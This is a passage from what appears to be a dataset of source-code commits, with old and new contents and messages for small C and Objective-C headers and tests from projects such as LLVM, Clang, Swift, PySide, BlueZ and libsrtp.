ValueTypeConverter<QStringList>::toPython(cppObj);\n}\n}\n","subject":"Return a QStringList wrapper instead of a python list in Converter::toPython.","message":"Return a QStringList wrapper instead of a python list in Converter::toPython.\n","lang":"C","license":"lgpl-2.1","repos":"enthought\/pyside,RobinD42\/pyside,IronManMark20\/pyside2,BadSingleton\/pyside2,M4rtinK\/pyside-bb10,RobinD42\/pyside,gbaty\/pyside2,pankajp\/pyside,enthought\/pyside,PySide\/PySide,BadSingleton\/pyside2,qtproject\/pyside-pyside,M4rtinK\/pyside-bb10,pankajp\/pyside,M4rtinK\/pyside-android,IronManMark20\/pyside2,gbaty\/pyside2,PySide\/PySide,RobinD42\/pyside,M4rtinK\/pyside-bb10,enthought\/pyside,M4rtinK\/pyside-android,IronManMark20\/pyside2,enthought\/pyside,RobinD42\/pyside,M4rtinK\/pyside-bb10,M4rtinK\/pyside-android,PySide\/PySide,M4rtinK\/pyside-android,gbaty\/pyside2,qtproject\/pyside-pyside,enthought\/pyside,qtproject\/pyside-pyside,gbaty\/pyside2,pankajp\/pyside,M4rtinK\/pyside-android,BadSingleton\/pyside2,M4rtinK\/pyside-bb10,M4rtinK\/pyside-android,RobinD42\/pyside,BadSingleton\/pyside2,PySide\/PySide,RobinD42\/pyside,BadSingleton\/pyside2,qtproject\/pyside-pyside,pankajp\/pyside,enthought\/pyside,IronManMark20\/pyside2,IronManMark20\/pyside2,M4rtinK\/pyside-bb10,enthought\/pyside,pankajp\/pyside,PySide\/PySide,RobinD42\/pyside,qtproject\/pyside-pyside,gbaty\/pyside2"}
{"commit":"21995694719c8c5f83265c291d26d06ee824e461","old_file":"Tests\/UIAlertViewBlocksKitTest.h","new_file":"Tests\/UIAlertViewBlocksKitTest.h","old_contents":"\/\/\n\/\/  UIAlertViewBlocksKitTest.h\n\/\/  BlocksKit\n\/\/\n\/\/  Created by Zachary Waldowski on 12\/20\/11.\n\/\/  Copyright (c) 2011 Dizzy Technology. All rights reserved.\n\/\/\n\n#import <GHUnitIOS\/GHUnit.h>\n#import \"BlocksKit\/BlocksKit.h\"\n\n@interface UIAlertViewBlocksKitTest : GHTestCase\n\n@end\n","new_contents":"\/\/\n\/\/  UIAlertViewBlocksKitTest.h\n\/\/  BlocksKit Unit Tests\n\/\/\n\n#import <GHUnitIOS\/GHUnit.h>\n#import \"BlocksKit\/BlocksKit.h\"\n\n@interface UIAlertViewBlocksKitTest : GHTestCase\n\n- (void)testInit;\n- (void)testAddButtonWithHandler;\n- (void)testSetCancelButtonWithHandler;\n- (void)testDelegationBlocks;\n\n@end\n","subject":"Make the UIAlertView unit test header consistent.","message":"Make the UIAlertView unit test header consistent.\n","lang":"C","license":"mit","repos":"anton-matosov\/BlocksKit,yimouleng\/BlocksKit,Herbert77\/BlocksKit,aipeople\/BlocksKit,AlexanderMazaletskiy\/BlocksKit,ManagerOrganization\/BlocksKit,Voxer\/BlocksKit,pilot34\/BlocksKit,pomu0325\/BlocksKit,yaoxiaoyong\/BlocksKit,hartbit\/BlocksKit,HarrisLee\/BlocksKit,stevenxiaoyang\/BlocksKit,owers19856\/BlocksKit,coneman\/BlocksKit,tattocau\/BlocksKit,hq804116393\/BlocksKit,shenhzou654321\/BlocksKit,zhaoguohui\/BlocksKit,Gitub\/BlocksKit,dachaoisme\/BlocksKit,zwaldowski\/BlocksKit,z8927623\/BlocksKit,zxq3220122\/BlocksKit-1,TomBin647\/BlocksKit,demonnico\/BlocksKit,xinlehou\/BlocksKit"}
{"commit":"84fb9633caf6dc5b63ca98fd4d92e6086ab146d0","old_file":"lib\/Target\/Mips\/MCTargetDesc\/MipsELFStreamer.h","new_file":"lib\/Target\/Mips\/MCTargetDesc\/MipsELFStreamer.h","old_contents":"\/\/=== MipsELFStreamer.h - MipsELFStreamer ------------------------------===\/\/\n\/\/\n\/\/                    The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENCE.TXT for details.\n\/\/\n\/\/===-------------------------------------------------------------------===\/\/\n#ifndef MIPSELFSTREAMER_H_\n#define MIPSELFSTREAMER_H_\n\n#include \"llvm\/MC\/MCELFStreamer.h\"\n\nnamespace llvm {\nclass MipsSubtarget;\n\nclass MipsELFStreamer : public MCELFStreamer {\nprivate:\n  unsigned EFlags;\npublic:\n  MipsELFStreamer(MCContext &Context, MCAsmBackend &TAB,\n                  raw_ostream &OS, MCCodeEmitter *Emitter,\n                  bool RelaxAll, bool NoExecStack)\n    : MCELFStreamer(Context, TAB, OS, Emitter), EFlags(0) {\n  }\n\n  ~MipsELFStreamer() {}\n  void emitELFHeaderFlagsCG(const MipsSubtarget &Subtarget);\n\/\/  void emitELFHeaderFlagCG(unsigned Val);\n};\n\n  MCELFStreamer* createMipsELFStreamer(MCContext &Context, MCAsmBackend &TAB,\n                                       raw_ostream &OS, MCCodeEmitter *Emitter,\n                                       bool RelaxAll, bool NoExecStack);\n}\n\n#endif \/* MIPSELFSTREAMER_H_ *\/\n","new_contents":"\/\/=== MipsELFStreamer.h - MipsELFStreamer ------------------------------===\/\/\n\/\/\n\/\/                    The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENCE.TXT for details.\n\/\/\n\/\/===-------------------------------------------------------------------===\/\/\n#ifndef MIPSELFSTREAMER_H_\n#define MIPSELFSTREAMER_H_\n\n#include \"llvm\/MC\/MCELFStreamer.h\"\n\nnamespace llvm {\nclass MipsSubtarget;\n\nclass MipsELFStreamer : public MCELFStreamer {\npublic:\n  MipsELFStreamer(MCContext &Context, MCAsmBackend &TAB,\n                  raw_ostream &OS, MCCodeEmitter *Emitter,\n                  bool RelaxAll, bool NoExecStack)\n    : MCELFStreamer(Context, TAB, OS, Emitter), EFlags(0) {\n  }\n\n  ~MipsELFStreamer() {}\n  void emitELFHeaderFlagsCG(const MipsSubtarget &Subtarget);\n\/\/  void emitELFHeaderFlagCG(unsigned Val);\n};\n\n  MCELFStreamer* createMipsELFStreamer(MCContext &Context, MCAsmBackend &TAB,\n                                       raw_ostream &OS, MCCodeEmitter *Emitter,\n                                       bool RelaxAll, bool NoExecStack);\n}\n\n#endif \/* MIPSELFSTREAMER_H_ *\/\n","subject":"Remove unused variable (introduced in r173884) to clear clang -Werror build","message":"Remove unused variable (introduced in r173884) to clear clang -Werror build\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@173887 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm"}
{"commit":"ef3648a694c63142a8025227659303c36f95d000","old_file":"obexd\/client\/main.c","new_file":"obexd\/client\/main.c","old_contents":"","new_contents":"\/*\n *\n *  OBEX Client\n *\n *  Copyright (C) 2007-2008  Marcel Holtmann <marcel@holtmann.org>\n *\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\nint main(int argc, char *argv[])\n{\n\treturn 0;\n}\n","subject":"Add skeleton for OBEX client implementation","message":"obexd: Add skeleton for OBEX client implementation\n","lang":"C","license":"lgpl-2.1","repos":"pkarasev3\/bluez,mapfau\/bluez,mapfau\/bluez,pstglia\/external-bluetooth-bluez,ComputeCycles\/bluez,silent-snowman\/bluez,pstglia\/external-bluetooth-bluez,mapfau\/bluez,pkarasev3\/bluez,mapfau\/bluez,ComputeCycles\/bluez,pstglia\/external-bluetooth-bluez,silent-snowman\/bluez,pkarasev3\/bluez,silent-snowman\/bluez,pkarasev3\/bluez,silent-snowman\/bluez,ComputeCycles\/bluez,ComputeCycles\/bluez,pstglia\/external-bluetooth-bluez"}
{"commit":"a067e96511a774f2398d6b222072926c2917f84c","old_file":"include\/thai\/thinp.h","new_file":"include\/thai\/thinp.h","old_contents":"\/*\n * $Id: thinp.h,v 1.2 2001-05-17 17:58:56 thep Exp $\n * thinp.h - Thai string input sequence filtering\n * Created: 2001-05-17\n *\/\n\n#ifndef THAI_THINP_H\n#define THAI_THINP_H\n\n#include <thai\/thailib.h>\n\nBEGIN_CDECL\n\n\/*\n * strictness of input sequence checking, according to WTT 2.0\n *\/\ntypedef enum {\n    ISC_PASSTHROUGH = 0,\n    ISC_BASICCHECK  = 1,\n    ISC_STRICT      = 2\n} strict_t;\n\n\/*\n * Is c2 allowed to be placed after c1?\n * Returns: non-zero if yes, 0 otherwise\n *\/\nextern int th_iscompose(thchar_t c1, thchar_t c2, strict_t s);\n\n\/*\n * Is c2 allowed to be placed after c1? And if not, swap them.\n * Returns: non-zero if the swap happenned, 0 otherwise\n *\/\nextern int th_validate(thchar_t *c1, thchar_t *c2, strict_t s);\n\nEND_CDECL\n\n#endif  \/* THAI_THINP_H *\/\n\n","new_contents":"\/*\n * $Id: thinp.h,v 1.3 2001-05-17 18:15:04 thep Exp $\n * thinp.h - Thai string input sequence filtering\n * Created: 2001-05-17\n *\/\n\n#ifndef THAI_THINP_H\n#define THAI_THINP_H\n\n#include <thai\/thailib.h>\n\nBEGIN_CDECL\n\n\/*\n * strictness of input sequence checking, according to WTT 2.0\n *\/\ntypedef enum {\n    ISC_PASSTHROUGH = 0,\n    ISC_BASICCHECK  = 1,\n    ISC_STRICT      = 2\n} strict_t;\n\n\/*\n * Is c2 allowed to be placed after c1?\n * Returns: non-zero if yes, 0 otherwise\n *\/\nextern int th_iscompose(thchar_t c1, thchar_t c2, strict_t s);\n\n\/*\n * Is *c2 allowed to be placed after *c1? And if not, and if swapping\n * them makes it valid, do it.\n * Returns: 1 if (*c1, *c2) is a valid sequence in the first place\n *          2 if (*c1, *c2) has been swapped and the sequence becomes valid\n *          0 if (*c1, *c2) is invalid, no matter how\n *\/\nextern int th_validate(thchar_t *c1, thchar_t *c2, strict_t s);\n\nEND_CDECL\n\n#endif  \/* THAI_THINP_H *\/\n\n","subject":"Change the spec (comment) of th_validate()","message":"Change the spec (comment) of th_validate()\n","lang":"C","license":"lgpl-2.1","repos":"tlwg\/libthai,tlwg\/libthai"}
{"commit":"a718c85a2d55da2372278dcd9ae8977fd53197c3","old_file":"ios\/KontaktBeacons.h","new_file":"ios\/KontaktBeacons.h","old_contents":"#if __has_include(\"RCTBridgeModule.h\")\n  #import \"RCTBridgeModule.h\"\n#else\n  #import <React\/RCTBridgeModule.h>\n#endif\n\n#if __has_include(\"RCTEventEmitter.h\")\n  #import \"RCTEventEmitter.h\"\n#else\n  #import <React\/RCTEventEmitter.h>\n#endif\n\n\n@interface KontaktBeacons : RCTEventEmitter <RCTBridgeModule>\n\n@end\n","new_contents":"#if __has_include(<React\/RCTBridgeModule.h>)\n  #import <React\/RCTBridgeModule.h>\n#else\n  #import \"RCTBridgeModule.h\"\n#endif\n\n#if __has_include(<React\/RCTEventEmitter.h>)\n  #import <React\/RCTEventEmitter.h>\n#else\n  #import \"RCTEventEmitter.h\"\n#endif\n\n\n@interface KontaktBeacons : RCTEventEmitter <RCTBridgeModule>\n\n@end\n","subject":"Fix imports for React Native 0.48.x.","message":"Fix imports for React Native 0.48.x.\n","lang":"C","license":"mit","repos":"Artirigo\/react-native-kontaktio,Artirigo\/react-native-kontaktio,Artirigo\/react-native-kontaktio,Artirigo\/react-native-kontaktio,Artirigo\/react-native-kontaktio"}
{"commit":"958c121cda713ba50ff37cb58ff2c8964d18a8d5","old_file":"crypto\/rng\/rand_linux_kernel.c","new_file":"crypto\/rng\/rand_linux_kernel.c","old_contents":"","new_contents":"\/*\n * rand_linux_kernel.c\n *\n * implements a random source using Linux kernel functions\n *\n * Marcus Sundberg\n * Ingate Systems AB\n *\/\n\/*\n *\t\n * Copyright(c) 2005 Ingate Systems AB\n * All rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * \n *   Redistributions of source code must retain the above copyright\n *   notice, this list of conditions and the following disclaimer.\n * \n *   Redistributions in binary form must reproduce the above\n *   copyright notice, this list of conditions and the following\n *   disclaimer in the documentation and\/or other materials provided\n *   with the distribution.\n * \n *   Neither the name of the author(s) nor the names of its\n *   contributors may be used to endorse or promote products derived\n *   from this software without specific prior written permission.\n * \n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#include \"config.h\"\n#include \"rand_source.h\"\n\n\nerr_status_t\nrand_source_init(void) {\n  return err_status_ok;\n}\n\nerr_status_t\nrand_source_get_octet_string(void *dest, uint32_t len) {\n\n  get_random_bytes(dest, len);\n\n  return err_status_ok;\n}\n\nerr_status_t\nrand_source_deinit(void) {\n  return err_status_ok;  \n}\n","subject":"Implement a random source using Linux kernel functions.","message":"Implement a random source using Linux kernel functions.\n","lang":"C","license":"bsd-3-clause","repos":"persmule\/libsrtp,cuijinquan\/libsrtp,persmule\/libsrtp,ksophocleous\/libsrtp,Distrotech\/libsrtp,Distrotech\/libsrtp,ksophocleous\/libsrtp,yarrcc\/libsrtp-ios,cuijinquan\/libsrtp,yarrcc\/libsrtp-ios,cuijinquan\/libsrtp,persmule\/libsrtp,yarrcc\/libsrtp-ios"}
{"commit":"8b55ba7d6d1fbd3244ce9e1bc19e691099274172","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       8\n#define CLIENT_VERSION_REVISION    6\n#define CLIENT_VERSION_BUILD       2\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2013\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       9\n#define CLIENT_VERSION_REVISION    0\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  false\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2014\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Update the version number to 0.9 for a beta build.","message":"Update the version number to 0.9 for a beta build.\n","lang":"C","license":"mit","repos":"TacoCoin\/tacocoin,TacoCoin\/tacocoin,TacoCoin\/tacocoin,TacoCoin\/tacocoin,TacoCoin\/tacocoin"}
{"commit":"647a75160df6d53d26724038b3bfe0d836513f58","old_file":"test\/Analysis\/default-diagnostic-visitors.c","new_file":"test\/Analysis\/default-diagnostic-visitors.c","old_contents":"","new_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-apple-darwin10 -analyze -analyzer-checker=core -analyzer-store=region -analyzer-output=text -verify %s\n\n\/\/ This file is for testing enhanced diagnostics produced by the default BugReporterVisitors.\n\nint getPasswordAndItem()\n{\n  int err = 0;\n  int *password; \/\/ expected-note {{Variable 'password' declared without an initial value}}\n  if (password == 0) { \/\/ expected-warning {{The left operand of '==' is a garbage value}} \/\/ expected-note {{The left operand of '==' is a garbage value}}\n    err = *password;\n  }\n  return err;\n}\n","subject":"Add a test for checking that custom diagnostic visitors are working.","message":"Add a test for checking that custom diagnostic visitors are working.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@137970 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"86471f5a466e1f89e04c66fc634c75b393fb65ed","old_file":"src\/crypto\/aes\/aes-x64\/aes-gcm.h","new_file":"src\/crypto\/aes\/aes-x64\/aes-gcm.h","old_contents":"","new_contents":"\nstruct gcm_args {\n  unsigned char* plaintext;\n  unsigned int   plain_len;\n  unsigned char* additional_data;\n  unsigned int   additional_data_len;\n  unsigned char* iv;\n  unsigned char* expanded_key_ptr;\n  unsigned char* ciphertext_ptr;\n  unsigned char* tag_ptr;\n  unsigned char* tmp_ptr;   \/\/ Should point to a buffer of (at least) 8*64 bits\n};\n\nextern void gcm_encrypt(struct gcm_args* args);\n","subject":"Add a small C header file to wrap our assembly.","message":"Add a small C header file to wrap our assembly.\n","lang":"C","license":"apache-2.0","repos":"project-everest\/vale,project-everest\/vale,project-everest\/vale,project-everest\/vale"}
{"commit":"8ffd3e71a3a1ef59ee1d634326094b59cf316c93","old_file":"lib\/LLVMPasses\/LLVMARCOpts.h","new_file":"lib\/LLVMPasses\/LLVMARCOpts.h","old_contents":"","new_contents":"\/\/===--- LLVMARCOpts.h - LLVM level ARC Opts Utility Declarations ---------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"swift\/Basic\/LLVM.h\"\n#include \"llvm\/IR\/Instructions.h\"\n#include \"llvm\/IR\/Function.h\"\n#include \"llvm\/ADT\/StringSwitch.h\"\n\nnamespace swift {\n\nenum RT_Kind {\n  \/\/\/ An instruction with this classification is known to not access (read or\n  \/\/\/ write) memory.\n  RT_NoMemoryAccessed,\n  \n  \/\/\/ SwiftHeapObject *swift_retain(SwiftHeapObject *object)\n  RT_Retain,\n  \n  \/\/ void swift_retain_noresult(SwiftHeapObject *object)\n  RT_RetainNoResult,\n  \n  \/\/ (i64,i64,i64) swift_retainAndReturnThree(SwiftHeapObject *obj, i64,i64,i64)\n  RT_RetainAndReturnThree,\n  \n  \/\/\/ void swift_release(SwiftHeapObject *object)\n  RT_Release,\n  \n  \/\/\/ SwiftHeapObject *swift_allocObject(SwiftHeapMetadata *metadata,\n  \/\/\/                                    size_t size, size_t alignment)\n  RT_AllocObject,\n  \n  \/\/\/ void objc_release(%objc_object* %P)\n  RT_ObjCRelease,\n  \/\/\/ %objc_object* objc_retain(%objc_object* %P)\n  RT_ObjCRetain,\n  \n  \/\/\/ This is not a runtime function that we support.  Maybe it is not a call,\n  \/\/\/ or is a call to something we don't care about.\n  RT_Unknown,\n};\n\n\/\/\/ classifyInstruction - Take a look at the specified instruction and classify\n\/\/\/ it into what kind of runtime entrypoint it is, if any.\ninline RT_Kind classifyInstruction(const llvm::Instruction &I) {\n  if (!I.mayReadOrWriteMemory())\n    return RT_NoMemoryAccessed;\n  \n  \/\/ Non-calls or calls to indirect functions are unknown.\n  auto *CI = dyn_cast<llvm::CallInst>(&I);\n  if (CI == 0) return RT_Unknown;\n  llvm::Function *F = CI->getCalledFunction();\n  if (F == 0) return RT_Unknown;\n  \n  return llvm::StringSwitch<RT_Kind>(F->getName())\n    .Case(\"swift_retain\", RT_Retain)\n    .Case(\"swift_retain_noresult\", RT_RetainNoResult)\n    .Case(\"swift_release\", RT_Release)\n    .Case(\"swift_allocObject\", RT_AllocObject)\n    .Case(\"swift_retainAndReturnThree\", RT_RetainAndReturnThree)\n    .Case(\"objc_release\", RT_ObjCRelease)\n    .Case(\"objc_retain\", RT_ObjCRetain)\n    .Default(RT_Unknown);\n}\n\n} \/\/ end namespace swift\n","subject":"Add missing file from OptimizeARC => LLVMPasses transition.","message":"Add missing file from OptimizeARC => LLVMPasses transition.\n\nSwift SVN r21657\n","lang":"C","license":"apache-2.0","repos":"allevato\/swift,Ivacker\/swift,deyton\/swift,jopamer\/swift,kusl\/swift,mightydeveloper\/swift,karwa\/swift,therealbnut\/swift,practicalswift\/swift,therealbnut\/swift,apple\/swift,deyton\/swift,sdulal\/swift,CodaFi\/swift,return\/swift,gregomni\/swift,gmilos\/swift,tinysun212\/swift-windows,codestergit\/swift,sschiau\/swift,hughbe\/swift,ken0nek\/swift,hughbe\/swift,airspeedswift\/swift,modocache\/swift,allevato\/swift,gribozavr\/swift,nathawes\/swift,arvedviehweger\/swift,hughbe\/swift,deyton\/swift,brentdax\/swift,tjw\/swift,huonw\/swift,devincoughlin\/swift,atrick\/swift,russbishop\/swift,Ivacker\/swift,brentdax\/swift,benlangmuir\/swift,khizkhiz\/swift,therealbnut\/swift,roambotics\/swift,adrfer\/swift,swiftix\/swift.old,uasys\/swift,practicalswift\/swift,sschiau\/swift,gottesmm\/swift,codestergit\/swift,aschwaighofer\/swift,IngmarStein\/swift,sschiau\/swift,atrick\/swift,lorentey\/swift,natecook1000\/swift,felix91gr\/swift,adrfer\/swift,IngmarStein\/swift,slavapestov\/swift,shajrawi\/swift,alblue\/swift,dduan\/swift,swiftix\/swift.old,airspeedswift\/swift,devincoughlin\/swift,kentya6\/swift,dduan\/swift,gmilos\/swift,hooman\/swift,apple\/swift,benlangmuir\/swift,shajrawi\/swift,jopamer\/swift,karwa\/swift,xwu\/swift,rudkx\/swift,alblue\/swift,KrishMunot\/swift,felix91gr\/swift,jopamer\/swift,swiftix\/swift.old,austinzheng\/swift,uasys\/swift,hughbe\/swift,aschwaighofer\/swift,slavapestov\/swift,JaSpa\/swift,jtbandes\/swift,shahmishal\/swift,return\/swift,JGiola\/swift,dduan\/swift,karwa\/swift,xedin\/swift,zisko\/swift,austinzheng\/swift,gmilos\/swift,OscarSwanros\/swift,gottesmm\/swift,amraboelela\/swift,austinzheng\/swift,xwu\/swift,glessard\/swift,uasys\/swift,hooman\/swift,tjw\/swift,kstaring\/swift,ben-ng\/swift,cbrentharris\/swift,kstaring\/swift,kusl\/swift,amraboelela\/swift,kentya6\/swift,aschwaighofer\/swift,Ivacker\/swift,russbishop\/swift,gribozavr\/swift,sdulal\/swift,zisko\/swift,gregomni\/swift,danielmartin\/swift,hughbe\/swift,kentya6\/swift,frootloops\/swift,shahmishal\/swift,parkera\/swift,khizkhiz\/swift,milseman\/swift,sdulal\/swift,felix91gr\/swift,xwu\/swift,gmilos\/swift,natecook1000\/swift,modocache\/swift,kusl\/swift,danielmartin\/swift,CodaFi\/swift,Jnosh\/swift,swiftix\/swift.old,jtbandes\/swift,manavgabhawala\/swift,swiftix\/swift,manavgabhawala\/swift,codestergit\/swift,milseman\/swift,jckarter\/swift,ben-ng\/swift,gribozavr\/swift,frootloops\/swift,harlanhaskins\/swift,swiftix\/swift.old,manavgabhawala\/swift,huonw\/swift,KrishMunot\/swift,kperryua\/swift,modocache\/swift,kusl\/swift,codestergit\/swift,allevato\/swift,parkera\/swift,amraboelela\/swift,gottesmm\/swift,apple\/swift,russbishop\/swift,Jnosh\/swift,ahoppen\/swift,tjw\/swift,JaSpa\/swift,bitjammer\/swift,codestergit\/swift,LeoShimonaka\/swift,bitjammer\/swift,jmgc\/swift,gregomni\/swift,johnno1962d\/swift,uasys\/swift,rudkx\/swift,emilstahl\/swift,brentdax\/swift,SwiftAndroid\/swift,roambotics\/swift,bitjammer\/swift,gottesmm\/swift,kperryua\/swift,airspeedswift\/swift,austinzheng\/swift,MukeshKumarS\/Swift,kstaring\/swift,tardieu\/swift,dduan\/swift,parkera\/swift,JaSpa\/swift,gmilos\/swift,jckarter\/swift,practicalswift\/swift,karwa\/swift,manavgabhawala\/swift,frootloops\/swift,nathawes\/swift,jckarter\/swift,lorentey\/swift,djwbrown\/swift,mightydeveloper\/swift,jtbandes\/swift,OscarSwanros\/swift,jmgc\/swift,huonw\/swift,OscarSwanros\/swift,khizkhiz\/swift,ken0nek\/swift,kperryua\/swift,russbishop\/swift,mightydeveloper\/swift,jmgc\/swift,hughbe\/swift,manavgabhawala\/swift,bitjammer\/swift,shajrawi\/swift,Jnosh\/swift,bitjammer\/swift,allevato\/swift,lorentey\/swift,dreamsxin\/swift,brentdax\/swift,cbrentharris\/swift,JGiola\/swift,OscarSwanros\/swift,calebd\/swift,stephentyrone\/swift,harlanhaskins\/swift,swiftix\/swift,jckarter\/swift,kentya6\/swift,dduan\/swift,sschiau\/swift,alblue\/swift,tjw\/swift,dduan\/swift,zisko\/swift,cbrentharris\/swift,russbishop\/swift,natecook1000\/swift,kusl\/swift,ben-ng\/swift,milseman\/swift,apple\/swift,benlangmuir\/swift,CodaFi\/swift,khizkhiz\/swift,swiftix\/swift.old,LeoShimonaka\/swift,JaSpa\/swift,deyton\/swift,bitjammer\/swift,mightydeveloper\/swift,djwbrown\/swift,modocache\/swift,alblue\/swift,glessard\/swift,tjw\/swift,calebd\/swift,benlangmuir\/swift,natecook1000\/swift,MukeshKumarS\/Swift,ben-ng\/swift,SwiftAndroid\/swift,karwa\/swift,LeoShimonaka\/swift,jopamer\/swift,xedin\/swift,practicalswift\/swift,lorentey\/swift,apple\/swift,aschwaighofer\/swift,shahmishal\/swift,return\/swift,amraboelela\/swift,arvedviehweger\/swift,OscarSwanros\/swift,tardieu\/swift,alblue\/swift,gribozavr\/swift,felix91gr\/swift,SwiftAndroid\/swift,return\/swift,karwa\/swift,natecook1000\/swift,glessard\/swift,deyton\/swift,LeoShimonaka\/swift,tkremenek\/swift,kusl\/swift,hughbe\/swift,return\/swift,IngmarStein\/swift,sdulal\/swift,JaSpa\/swift,huonw\/swift,hooman\/swift,gottesmm\/swift,manavgabhawala\/swift,emilstahl\/swift,shajrawi\/swift,ken0nek\/swift,LeoShimonaka\/swift,frootloops\/swift,devincoughlin\/swift,cbrentharris\/swift,khizkhiz\/swift,devincoughlin\/swift,harlanhaskins\/swift,brentdax\/swift,brentdax\/swift,austinzheng\/swift,roambotics\/swift,huonw\/swift,ken0nek\/swift,shahmishal\/swift,xedin\/swift,slavapestov\/swift,danielmartin\/swift,SwiftAndroid\/swift,zisko\/swift,emilstahl\/swift,jckarter\/swift,kperryua\/swift,tkremenek\/swift,djwbrown\/swift,OscarSwanros\/swift,milseman\/swift,Ivacker\/swift,parkera\/swift,emilstahl\/swift,ken0nek\/swift,austinzheng\/swift,felix91gr\/swift,parkera\/swift,KrishMunot\/swift,shahmishal\/swift,JGiola\/swift,stephentyrone\/swift,jmgc\/swift,hooman\/swift,MukeshKumarS\/Swift,gregomni\/swift,sdulal\/swift,johnno1962d\/swift,K